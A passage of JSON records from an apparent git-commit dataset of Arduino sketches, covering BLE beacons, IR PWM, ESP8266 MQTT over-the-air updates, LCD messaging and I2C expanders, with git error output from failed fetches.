0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'photon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ceab34031cf3a05326d2a579fdfd5387c8115694","subject":"Change morse_dict's type to byte.","message":"Change morse_dict's type to byte.\n\nShould save 26*4 bytes.\n","repos":"kdomen\/Morse-Code","old_file":"Morse-Code\/morse-code.ino","new_file":"Morse-Code\/morse-code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"808e1f728851a101637880d0a53ddf97d688d491","subject":"- Eddystone URL beacon example","message":"- Eddystone URL beacon example\n","repos":"sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral","old_file":"examples\/Eddystone\/EddystoneURL\/EddystoneURL.ino","new_file":"examples\/Eddystone\/EddystoneURL\/EddystoneURL.ino","new_contents":"\/\/ Import libraries (EddystoneBeacon depends on SPI)\n#include <SPI.h>\n#include <EddystoneBeacon.h>\n\n\/\/ define pins (varies per shield\/board)\n\/\/\n\/\/ Adafruit Bluefruit LE 10, 2, 9\n\/\/ Blend 9, 8, UNUSED\n\/\/ Blend Micro 6, 7, 4\n\/\/ RBL BLE Shield 9, 8, UNUSED\n\n#define EDDYSTONE_BEACON_REQ 6\n#define EDDYSTONE_BEACON_RDY 7\n#define EDDYSTONE_BEACON_RST 4\n\nEddystoneBeacon eddystoneBeacon = EddystoneBeacon(EDDYSTONE_BEACON_REQ, EDDYSTONE_BEACON_RDY, EDDYSTONE_BEACON_RST);\n\nvoid setup() {\n Serial.begin(9600);\n\n delay(1000);\n\n eddystoneBeacon.begin(0x20, \"http:\/\/www.example.com\"); \/\/ power, URI\n\n Serial.println(F(\"Eddystone URL Beacon\"));\n}\n\nvoid loop() {\n eddystoneBeacon.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Eddystone\/EddystoneURL\/EddystoneURL.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"457f4f53bc986486be899c748861a32cb3a5c15a","subject":"Modified the range of gyroscope","message":"Modified the range of gyroscope\n\nChanged range of gyroscope from 250 to 2000\n","repos":"minhcly\/imu3darduino,minhcly\/imu3darduino","old_file":"IMU3D\/IMU3D.ino","new_file":"IMU3D\/IMU3D.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/minhcly\/imu3darduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8eaf99c140e3b932d33c887792cb3996bfc074c8","subject":"Added PWM code","message":"Added PWM code\n","repos":"paulmoon\/csc460,paulmoon\/csc460,paulmoon\/csc460","old_file":"CSC_460_-_Jan_21.ino","new_file":"CSC_460_-_Jan_21.ino","new_contents":"\/\/#include <Servo.h> \r\n \r\n\/\/Servo myservo; \/\/ create servo object to control a servo \r\n \r\nint potpin = 0; \/\/ analog pin used to connect the potentiometer\r\nint val; \/\/ variable to read the value from the analog pin \r\nvolatile byte b = 0; \/\/ Byte we're trying to transmit\r\nvolatile int i = 7; \/\/ Index of byte b we're comparing against.\r\n\r\nvoid setup() \r\n{ \r\n pinMode(3, OUTPUT);\r\n pinMode(13, OUTPUT);\r\n\/\/ myservo.attach(9); \/\/ attaches the servo on pin 9 to \u00a8the servo object \r\n Serial.begin(9600);\r\n \r\n pinMode(10, OUTPUT);\r\n\r\n \r\n \/\/Clear timer config.\r\n TCCR3A = 0;\r\n TCCR3B = 0; \r\n \/\/Set to CTC (mode 4)\r\n TCCR3B |= (1<<WGM32);\r\n \r\n \/\/Set prescaller to 256\r\n\/\/ TCCR3B |= (1<<CS32);\r\n TCCR3B |= (1<<CS30);\r\n \r\n \/\/Set TOP value (0.5 seconds)\r\n\/\/ OCR3A = 31250;\r\n OCR3A = 8000;\r\n \r\n\/\/ \/\/Enable interupt A for timer 3.\r\n\/\/ TIMSK `3 |= (1<<OCIE3A);\r\n\/\/ \r\n\/\/ \/\/Set timer to 0 (optional here).\r\n\/\/ TCNT3 = 0;\r\n\r\n \r\n\/\/ \/\/PWM \r\n \/\/Clear timer config\r\n TCCR1A = 0;\r\n TCCR1B = 0;\r\n TIMSK1 &= ~(1<<OCIE1C);\r\n \/\/Set to Fast PWM (mode 15)\r\n TCCR1A |= (1<<WGM10) | (1<<WGM11);\r\n TCCR1B |= (1<<WGM12) | (1<<WGM13);\r\n \r\n \/\/Enable output C.\r\n TCCR1A |= (1<<COM1C1);\r\n \/\/No prescaler\r\n TCCR1B |= (1<<CS10);\r\n \r\n OCR1A = 410; \/\/38KHz\r\n OCR1C = 140; \/\/Target\r\n TCCR1A &= ~(1<<COM1C1);\r\n} \r\n \r\n \r\nvolatile int header = 1;\r\nISR(TIMER3_COMPA_vect)\r\n{ \r\n \r\n if(header == 1){\r\n \/\/ turn on for 500us\r\n TCCR1A |= (1<<COM1C1);\r\n header = 2;\r\n return;\r\n }else if (header == 2){\r\n \/\/ turn off for 500us\r\n TCCR1A &= ~(1<<COM1C1);\r\n header = 0;\r\n return;\r\n }\r\n \r\n \r\n if ((b & (1 << i)) != 0) {\r\n TCCR1A |= (1<<COM1C1);\r\n\/\/ OCR1C = 140; \/\/Target\r\n\/\/ digitalWrite(3, HIGH);\r\n } else {\r\n TCCR1A &= ~(1<<COM1C1);\r\n\/\/ OCR1C = 0; \/\/Target\r\n \/\/ digitalWrite(3, LOW); \r\n }\r\n \r\n i -= 1;\r\n \r\n \/\/ All of byte was transmitted.\r\n if (i < 0) {\r\n\/\/ digitalWrite(3, LOW); \r\n\/\/ OCR1C = 0; \/\/Target\r\n \/\/ disable the IRT\r\n TCCR1A &= ~(1<<COM1C1);\r\n \r\n \r\n TIMSK3 ^= (1<<OCIE3A);\r\n digitalWrite(10, LOW);\r\n }\r\n}\r\n\r\nvoid transmit(byte _b) {\r\n digitalWrite(10, HIGH);\r\n b = _b;\r\n i = 7;\r\n header = 1;\r\n \r\n cli();\r\n \r\n \/\/Enable interupt A for timer 3.\r\n TIMSK3 |= (1<<OCIE3A);\r\n \/\/ Clear interrupt; \r\n TIFR3 |= (1<<OCF3A);\r\n \/\/Set timer to 0 (optional here).\r\n TCNT3 = 0;\r\n \r\n sei();\r\n}\r\n\r\nvoid loop() \r\n{ \r\n val = analogRead(potpin); \/\/ reads the value of the potentiometer (value between 0 and 1023) \r\n val = map(val, 0, 1023, 0, 180); \/\/ scale it to use it with the servo (value between 0 and 180) \r\n\/\/ Serial.println(val);\r\n \r\n int button = analogRead(A2);\r\n Serial.println(button);\r\n if (button < 10) {\r\n transmit(0xAA);\r\n }\r\n \r\n int receiver = analogRead(A3);\r\n\/\/ Serial.println(receiver);\r\n\/\/ myservo.write(val); \/\/ sets the servo position according to the scaled value \r\n delay(15); \/\/ waits for the servo to get there \r\n} \r\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CSC_460_-_Jan_21.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a48d2a3fae11e4c2d605cc3a57c7b39419b29bf8","subject":"added forgotten file of last commit","message":"added forgotten file of last commit\n","repos":"joschal\/X2RP6","old_file":"X2RP6.ino","new_file":"X2RP6.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/joschal\/X2RP6.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b79e3563f992d3a6090b99e0d4ed3fc2e9476767","subject":"Add example sketch for receiving OTA updates in MQTT messages","message":"Add example sketch for receiving OTA updates in MQTT messages\n","repos":"doebi\/pubsubclient,liquiddandruff\/pubsubclient,koltegirish\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Protoneer\/pubsubclient,Protoneer\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,vshymanskyy\/pubsubclient,liquiddandruff\/pubsubclient,liquiddandruff\/pubsubclient,vshymanskyy\/pubsubclient,koltegirish\/pubsubclient,Imroy\/pubsubclient,doebi\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,vshymanskyy\/pubsubclient,Imroy\/pubsubclient,Imroy\/pubsubclient,koltegirish\/pubsubclient,Protoneer\/pubsubclient,doebi\/pubsubclient","old_file":"examples\/ESP8266-OTA\/ESP8266-OTA.ino","new_file":"examples\/ESP8266-OTA\/ESP8266-OTA.ino","new_contents":"\/*\n * Test\/demonstration of over-the-air update of an ESP8266 using MQTT.\n *\n * This sketch connects to an MQTT broker and subscribes to a specific topic\n * to receive OTA updates on.\n * Send the message using the mosquitto tool:\n $ mosquitto_pub -h 192.168.1.1 -t 'ota\/192.168.1.13' -f \/tmp\/build*.tmp\/sensor-node.cpp.bin\n *\n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <PubSubClient.h>\n\n\/\/ Replace with your Wifi SSID and passphrase\nconst char* ssid = \"xxxxxxxx\";\nconst char* pass = \"yyyyyyyy\";\n\n\/\/ Replace with the IP address of your MQTT server\nIPAddress server_ip(192,168,1,1);\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"\");\n Serial.println(\"Arduino MQTT OTA Test\");\n\n Serial.printf(\"Sketch size: %u\\n\", ESP.getSketchSize());\n Serial.printf(\"Free size: %u\\n\", ESP.getFreeSketchSpace());\n}\n\nWiFiClient wclient;\nPubSubClient client(wclient, server_ip);\n\nvoid receive_ota(const MQTT::Publish& pub) {\n uint32_t startTime = millis();\n uint32_t size = pub.payload_len();\n if (size == 0)\n return;\n\n Serial.print(\"Receiving OTA of \");\n Serial.print(size);\n Serial.println(\" bytes...\");\n\n Serial.setDebugOutput(true);\n if (!Update.begin(size)) {\n Serial.println(\"Update Begin Error\");\n return;\n }\n\n uint32_t total = 0;\n while (!Update.isFinished()) {\n uint32_t written = Update.write(*pub.payload_stream());\n if (written > 0) {\n total += written;\n Serial.print(total, DEC);\n Serial.println(\" bytes\");\n }\n }\n\n if (Update.end()) {\n Serial.println(\"Clearing retained message.\");\n client.publish(MQTT::Publish(pub.topic(), \"\")\n .set_retain());\n\n Serial.printf(\"Update Success: %u\\nRebooting...\\n\", millis() - startTime);\n ESP.restart();\n } else {\n Update.printError(Serial);\n }\n Serial.setDebugOutput(false);\n}\n\nvoid loop() {\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Connecting to \");\n Serial.print(ssid);\n Serial.println(\"...\");\n WiFi.begin(ssid, pass);\n if (WiFi.waitForConnectResult() != WL_CONNECTED)\n return;\n\n IPAddress local = WiFi.localIP();\n String ipaddr = String(local[0]) + \".\" + String(local[1]) + \".\" + String(local[2]) + \".\" + String(local[3]);\n Serial.print(\"IP address: \");\n Serial.println(ipaddr);\n\n client.connect(WiFi.macAddress()); \/\/ Give ourselves a unique client name\n client.set_callback(receive_ota); \/\/ Register our callback for receiving OTA's\n\n String topic = \"ota\/\" + ipaddr;\n Serial.print(\"Subscribing to topic \");\n Serial.println(topic);\n client.subscribe(topic);\n }\n client.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ESP8266-OTA\/ESP8266-OTA.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b1e787e6d9690716587316e8f9819ec4132c523","subject":"Create Button_alt.ino","message":"Create Button_alt.ino\n","repos":"carloscastellanos\/teaching,carloscastellanos\/teaching,carloscastellanos\/teaching","old_file":"Arduino\/Basics\/Digital\/Button_alt.ino","new_file":"Arduino\/Basics\/Digital\/Button_alt.ino","new_contents":"\/*\nButton\nCarlos Castellanos | 2014 | ccastellanos.com\n\nPress and relasese to turn an LED on, then press and relasese again to turn off\n\nNote: this example works best witha momentary pushbutton or similary biased switch\n\n\nSchematic, see:\nhttps:\/\/github.com\/carloscastellanos\/teaching\/blob\/master\/Arduino\/Basics\/Digital\/Button_schem.png\n\nSuggestions:\n- Can you make the LED go off after a certain amount of time has passed? Hint: while\n using 'delay' will work, you can also look into the 'millis' function...\n- add an additional led and\/or button na d increase the complexity of behaviors \n*\/\n\n\/\/ constants won't change. They're used here to set pin numbers (faster\/saves memory):\nconst int buttonPin = 2; \/\/ pins for button and LED\nconst int ledPin = 13;\n\n\/\/ store button's status - initialize to OFF (this variable will change, so it's not a const)\nint buttonState = 0;\nint prevButtonState = 0;\nbool on = false;\n\nvoid setup() {\n pinMode(buttonPin, INPUT); \/\/ set button to input\n pinMode(ledPin, OUTPUT); \/\/ LED to output\n}\n\nvoid loop() {\n \n \/\/ read the state of the button into our variable\n buttonState = digitalRead(buttonPin);\n \n \/\/ test that state\n if (buttonState == HIGH) { \/\/ if button is pressed...\n if(prevButtonState == LOW) { \/\/ if it was previously not pressed\n on = !on;\n digitalWrite(ledPin, on); \/\/ toggle the LED\n }\n }\n\n prevButtonState = buttonState; \/\/ save the previous button state\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Basics\/Digital\/Button_alt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6377c646933533766605ac9b48dfcdbad1bec3aa","subject":"Create msnger.ino","message":"Create msnger.ino","repos":"sud0nick\/msnger","old_file":"msnger.ino","new_file":"msnger.ino","new_contents":"#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include <string.h>\n#include \"utility\/debug.h\"\n#include <LiquidCrystal.h>\n\nLiquidCrystal lcd(8, 13, 9, 4, 5, 6, 7);\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 19\n#define ADAFRUIT_CC3000_CS 2\n\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,SPI_CLOCK_DIVIDER);\n\n#define WLAN_SSID \"SSID\"\n#define WLAN_PASS \"password\"\n\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n\/\/ Timeout for connection to web server\n#define IDLE_TIMEOUT_MS 10000\n\n\/\/ Define the web page to grab\n#define WEBSITE \"www.puffycode.com\"\n#define DEF_WEBPAGE \"\/messenger\/msgrecv.php\"\n\n\/\/ Define button presses\n#define UP 141\n#define DOWN 326\n#define LEFT1 502\n#define LEFT2 503\n#define RIGHT 0\n#define SELECT 738\n\n\/\/ Define the max num of characters allowed on screen\n#define CHAR_LIMIT 39\n\n\/* VARIABLE DECLARATIONS *\/\nboolean connectionState = false; \/\/ Variable for keeping track of the connection to the AP\nboolean lcdIndex = 0; \/\/ Keep track if messages[0] or messages[1] is displayed\nunsigned long timer; \/\/ Timer for refreshing the messages at an interval\nunsigned short msgIndex; \/\/ Index of current message\nunsigned short msgCount; \/\/ Total number of messages\nString messages[2] = {\"\", \"\"}; \/\/ Array to hold the message ([0] Message, [1] Overflow of LCD)\nString displayCount = \"\"; \/\/ String to hold the index \/ msgCount\nString author = \"\"; \/\/ String for the author's name\nunsigned short lcdCycle = 0; \/\/ Integer for counting cycles\n\nuint32_t ip;\n\nvoid setup(void)\n{\n \/\/Serial.begin(115200);\n lcd.begin(40,2);\n pinMode(A0, INPUT);\n\n \/\/Serial.print(\"Free RAM: \"); Serial.println(getFreeRam(), DEC);\n \n \/\/ Start and setup the CC3000\n setupCC3000();\n \n \/\/ Pull the web page.\n getWebpage(DEF_WEBPAGE);\n}\n\nvoid loop(void)\n{\n if (connectionState) {\n if (!timer) {\n timer = millis();\n } else if ((millis() - timer) >= 300000UL) {\n getWebpage(DEF_WEBPAGE);\n timer = NULL;\n }\n }\n \/\/ Read the state of the buttons on the LCD shield\n switch (analogRead(A0)) {\n case UP:\n connectAP();\n getWebpage(DEF_WEBPAGE);\n break;\n case DOWN:\n disconnectAP();\n break;\n case RIGHT:\n nextMsg();\n break;\n case LEFT1:\n case LEFT2:\n if (msgIndex == 1) {break;}\n prevMsg();\n break;\n case SELECT:\n getWebpage(DEF_WEBPAGE);\n break;\n default:\n break;\n }\n \n if (lcdCycle++ == CHAR_LIMIT && messages[1].length() > 0) {\n \/\/ Swap the messages on screen\n if (lcdIndex) {\n setScreen(messages[0], displayCount, 0);\n lcdIndex = 0;\n } else {\n setScreen(messages[1], \"\", 0);\n lcdIndex = 1;\n }\n lcdCycle = 0;\n }\n lcd.scrollDisplayLeft();\n delay(250);\n}\n\nvoid setScreen(String topline, String bottomline, int pos) {\n lcd.clear();\n lcd.setCursor(pos,0);\n lcd.print(topline);\n lcd.setCursor(pos,1);\n lcd.print(bottomline);\n}\n\nvoid setupCC3000() {\n \/* Initialise the module *\/\n \/\/Serial.println(F(\"\\nInitializing...\"));\n setScreen(\"Initializing\", \"CC3000...\", 0);\n if (!cc3000.begin())\n {\n \/\/Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n setScreen(\"Setting the Mac\", \"Address\", 0);\n \n \/* Optional: Update the Mac Address to a known value *\/\n uint8_t macAddress[6] = { 0x08, 0x00, 0x28, 0x01, 0x79, 0xB7 };\n if (!cc3000.setMacAddress(macAddress))\n {\n \/\/Serial.println(F(\"Failed trying to update the MAC address\"));\n while(1);\n }\n \n \/\/ Connect to the AP\n connectAP();\n}\n\nvoid connectAP() {\n setScreen(\"Connecting to \", WLAN_SSID, 0);\n \/\/Serial.print(F(\"\\nAttempting to connect to \")); Serial.println(WLAN_SSID);\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n \/\/Serial.println(F(\"Failed!\"));\n while(1);\n }\n \n \/\/ Connection established\n \/\/Serial.println(F(\"Connected!\"));\n setScreen(\"Connected...\", \"\", 0);\n connectionState = true;\n \n \/* Wait for DHCP to complete *\/\n \/\/Serial.println(F(\"Request DHCP\"));\n setScreen(\"Requesting IP\", \"Address...\", 0);\n while (!cc3000.checkDHCP())\n {\n delay(100); \/\/ ToDo: Insert a DHCP timeout!\n }\n ip = 0;\n \/\/ Try looking up the website's IP address\n \/\/Serial.print(WEBSITE); Serial.print(F(\" -> \"));\n setScreen(\"Resolving\", WEBSITE, 0);\n while (ip == 0) {\n if (! cc3000.getHostByName(WEBSITE, &ip)) {\n \/\/Serial.println(F(\"Couldn't resolve!\"));\n setScreen(\"Couldn't resolve...\", \"\", 0);\n }\n delay(500);\n }\n cc3000.printIPdotsRev(ip);\n}\n\nvoid getWebpage(char *webpage) {\n setScreen(\"Retrieving\", \"messages...\", 0);\n Adafruit_CC3000_Client www = cc3000.connectTCP(ip, 80);\n \n if (www.connected()) {\n www.fastrprint(F(\"GET \"));\n www.fastrprint(webpage);\n \/\/Serial.print(\"Requesting webpage -> \");\n \/\/Serial.println(webpage);\n www.fastrprint(F(\" HTTP\/1.1\\r\\n\"));\n www.fastrprint(F(\"Host: \")); www.fastrprint(WEBSITE); www.fastrprint(F(\"\\r\\n\"));\n www.fastrprint(F(\"\\r\\n\"));\n www.println();\n } else {\n \/\/Serial.println(F(\"Connection failed\"));\n setScreen(\"Connection failed...\", \"\", 0);\n return;\n }\n \n \/* Read data until either the connection is closed, or the idle timeout is reached. *\/ \n unsigned long lastRead = millis();\n boolean inMsg, inMsgIndex, inMsgCount, inAuthor;\n inMsg = inMsgIndex = inMsgCount = inAuthor = false;\n author = \"\";\n messages[0] = messages[1] = \"\";\n unsigned int i = 0; \/\/ Used to keep track of loops when assigning msgIndex and msgCount\n int tempIndex[5] = {0,0,0,0,0};\n \/\/Serial.println(\"\\n\");\n while (www.connected() && (millis() - lastRead < IDLE_TIMEOUT_MS)) {\n while (www.available()) {\n char c = www.read();\n if (c == '%') {\n inMsg = (inMsg == false) ? true : false;\n continue;\n }\n if (inMsg) {\n \/\/ Check for the first delimiter\n if (c == '^') {\n inMsgIndex = (inMsgIndex == false) ? true : false;\n \n \/\/ At this point if we are in the msgCount area this means\n \/\/ we have reached the end of the delimited space and need to \n \/\/ convert the int array to a single integer\n if (inMsgCount) {\n msgCount = convertArrayToInt(tempIndex, i);\n \n \/\/ Now set the inAuthor boolean to true because the next\n \/\/ part of the packet is the author's name\n inAuthor = true;\n \/\/Serial.print(\"msgCount = \");\n \/\/Serial.println(msgCount, DEC);\n }\n continue;\n }\n \n if (c == ':') {\n inAuthor = false;\n continue;\n }\n \n \/\/ Check for the second delimiter\n if (c == '\/') {\n \/\/ At this point we have collected the index\n msgIndex = convertArrayToInt(tempIndex, i);\n \/\/Serial.print(\"msgIndex = \");\n \/\/Serial.println(msgIndex, DEC);\n \n \/\/ We are now in msgCount and need to reset the i counter\n inMsgCount = (inMsgCount == false) ? true : false;\n i = 0;\n memset(tempIndex, 5, sizeof(int));\n continue;\n }\n \n if (inMsgIndex) {\n if (inMsgCount) {\n tempIndex[i] = c - '0';\n i++;\n } else {\n tempIndex[i] = c - '0';\n i++;\n }\n continue;\n }\n \n if (inAuthor) {\n author += c;\n continue;\n }\n \n \/\/ Copy the character to the message\n if (messages[0].length() < CHAR_LIMIT) {\n messages[0] += c;\n } else {\n messages[1] += c;\n }\n }\n lastRead = millis();\n }\n }\n www.close();\n \n displayCount = (String)\"Msg \" + msgIndex + \"\/\" + msgCount + \" By: \" + author;\n lcdIndex = lcdCycle = 0;\n setScreen(messages[0], displayCount, 0);\n \/\/Serial.println(message);\n}\n\nvoid disconnectAP() {\n \/\/ Disconnect from the AP\n \/\/Serial.println(F(\"\\n\\nDisconnecting\"));\n cc3000.disconnect();\n \n \/\/ Set the connection state to false and stop the timer\n connectionState = false;\n timer = NULL;\n \n \/\/ Set the LCD display to disconnected\n setScreen(\"Disconnected from AP...\", \"\", 0);\n}\n\nvoid prevMsg() {\n char temp[64];\n sprintf(temp, \"%s?index=%d\", DEF_WEBPAGE, msgIndex - 1);\n getWebpage(temp);\n}\n\nvoid nextMsg() {\n char temp[64];\n sprintf(temp, \"%s?index=%d\", DEF_WEBPAGE, msgIndex + 1);\n getWebpage(temp);\n}\n\nint convertArrayToInt(int *a, int aSize) {\n int i, b = 0;\n for (i = 0; i < aSize; i++) {\n b = (b * 10) + a[i];\n }\n return b;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'msnger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cd8615cce9109e2a10efee451d790070d732c808","subject":"[MCP23017]: Play with TCA9548 to have multiple I2c busses","message":"[MCP23017]: Play with TCA9548 to have multiple I2c busses\n","repos":"GeVanCo\/Arduino,GeVanCo\/Arduino","old_file":"Mcp23017\/mcp23017\/mcp23017.ino","new_file":"Mcp23017\/mcp23017\/mcp23017.ino","new_contents":"#include <Wire.h>\n\n#define PCA9548ADDR 0x70\n\n#define I2C_CHANNEL_SDSC0 0x01\n#define I2C_CHANNEL_SDSC1 0x02\n#define I2C_CHANNEL_SDSC2 0x04\n#define I2C_CHANNEL_SDSC3 0x08\n#define I2C_CHANNEL_SDSC4 0x10\n#define I2C_CHANNEL_SDSC5 0x20\n#define I2C_CHANNEL_SDSC6 0x40\n#define I2C_CHANNEL_SDSC7 0x80\n\nint ledState = 0;\nint result = 0;\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n delay(2000);\n \n Wire.begin();\n\n \/\/select SDA3 \/ SCL3\n selectI2cChannels(I2C_CHANNEL_SDSC3);\n Wire.beginTransmission(0x20);\n \/\/port A as output\n Wire.write(0x00);\n Wire.write(0x00);\n Wire.endTransmission();\n Wire.beginTransmission(0x20);\n \/\/port B as output\n Wire.write(0x01);\n Wire.write(0x00);\n Wire.endTransmission();\n\/\/ Wire.beginTransmission(0x20);\n\/\/ \/\/Write '1' to GPB0-GPB3\n\/\/ Wire.write(0x13);\n\/\/ Wire.write(0x0f);\n\/\/ Wire.endTransmission();\n\n \/\/select SDA0 \/ SCL0\n selectI2cChannels(I2C_CHANNEL_SDSC0);\n Wire.beginTransmission(0x20);\n \/\/port A as output\n Wire.write(0x00);\n Wire.write(0x00);\n Wire.endTransmission();\n Wire.beginTransmission(0x20);\n \/\/port B, GPB0 as output \/ GPB1-GPB7 as input\n Wire.write(0x01);\n Wire.write(0xFE);\n Wire.endTransmission();\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x01);\n Wire.endTransmission();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n selectI2cChannels(I2C_CHANNEL_SDSC3);\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x00);\n Wire.endTransmission();\n delay(100);\n \n selectI2cChannels(I2C_CHANNEL_SDSC0);\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.endTransmission();\n Wire.requestFrom(0x20, 1);\n result = Wire.read();\n if (result & 0x02) {\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x00);\n Wire.endTransmission();\n } else {\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x01);\n Wire.endTransmission();\n delay(100);\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x00);\n Wire.endTransmission();\n }\n \n\/\/ Wire.beginTransmission(0x20);\n\/\/ Wire.write(0x13);\n\/\/ if (ledState == 0x01) {\n\/\/ ledState = 0x00;\n\/\/ } else {\n\/\/ ledState = 0x01;\n\/\/ }\n\/\/ Wire.write(ledState);\n\/\/ Wire.endTransmission();\n\/\/ \n selectI2cChannels(I2C_CHANNEL_SDSC3);\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x01);\n Wire.endTransmission();\n delay(100);\n \n\/\/ selectI2cChannels(I2C_CHANNEL_SDSC0);\n\/\/ Wire.beginTransmission(0x20);\n\/\/ Wire.write(0x13);\n\/\/ if (ledState == 0x01) {\n\/\/ ledState = 0x00;\n\/\/ } else {\n\/\/ ledState = 0x01;\n\/\/ }\n\/\/ Wire.write(ledState);\n\/\/ Wire.endTransmission();\n \n selectI2cChannels(I2C_CHANNEL_SDSC3);\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x02);\n Wire.endTransmission();\n delay(100);\n \n\/\/ selectI2cChannels(I2C_CHANNEL_SDSC0);\n\/\/ Wire.beginTransmission(0x20);\n\/\/ Wire.write(0x13);\n\/\/ if (ledState == 0x01) {\n\/\/ ledState = 0x00;\n\/\/ } else {\n\/\/ ledState = 0x01;\n\/\/ }\n\/\/ Wire.write(ledState);\n\/\/ Wire.endTransmission();\n\/\/ \n selectI2cChannels(I2C_CHANNEL_SDSC3);\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x04);\n Wire.endTransmission();\n delay(100);\n \n\/\/ selectI2cChannels(I2C_CHANNEL_SDSC0);\n\/\/ Wire.beginTransmission(0x20);\n\/\/ Wire.write(0x13);\n\/\/ if (ledState == 0x01) {\n\/\/ ledState = 0x00;\n\/\/ } else {\n\/\/ ledState = 0x01;\n\/\/ }\n\/\/ Wire.write(ledState);\n\/\/ Wire.endTransmission();\n\/\/\n selectI2cChannels(I2C_CHANNEL_SDSC3);\n Wire.beginTransmission(0x20);\n Wire.write(0x13);\n Wire.write(0x08);\n Wire.endTransmission();\n delay(100);\n\n\/\/ selectI2cChannels(I2C_CHANNEL_SDSC0);\n\/\/ Wire.beginTransmission(0x20);\n\/\/ Wire.write(0x13);\n\/\/ if (ledState == 0x01) {\n\/\/ ledState = 0x00;\n\/\/ } else {\n\/\/ ledState = 0x01;\n\/\/ }\n\/\/ Wire.write(ledState);\n\/\/ Wire.endTransmission();\n}\n\nvoid selectI2cChannels(int channels) \n{\n Wire.beginTransmission(PCA9548ADDR);\n Wire.write(channels);\n Wire.endTransmission(); \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mcp23017\/mcp23017\/mcp23017.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d65380a7fc1eb8b3d262bdbfd54b03b3bc4c474","subject":"AdaFruit base code","message":"AdaFruit base code\n","repos":"swolfe0105\/LazIRTag","old_file":"LazIRTag.ino","new_file":"LazIRTag.ino","new_contents":"\/* Raw IR decoder sketch!\nThis sketch\/program uses the Arduno and a PNA4602 to\ndecode IR received. This can be used to make a IR receiver\n(by looking for a particular code)\nor transmitter (by pulsing an IR LED at ~38KHz for the\ndurations detected\nCode is public domain, check out www.ladyada.net and adafruit.com\nfor more tutorials!\n*\/\n\n\/\/ We need to use the 'raw' pin reading methods\n\/\/ because timing is very important here and the digitalRead()\n\/\/ procedure is slower!\n\/\/uint8_t IRpin = 2;\n\/\/ Digital pin #2 is the same as Pin D2 see\n\/\/ http:\/\/arduino.cc\/en\/Hacking\/PinMapping168 for the 'raw' pin mapping\n#define IRpin_PIN 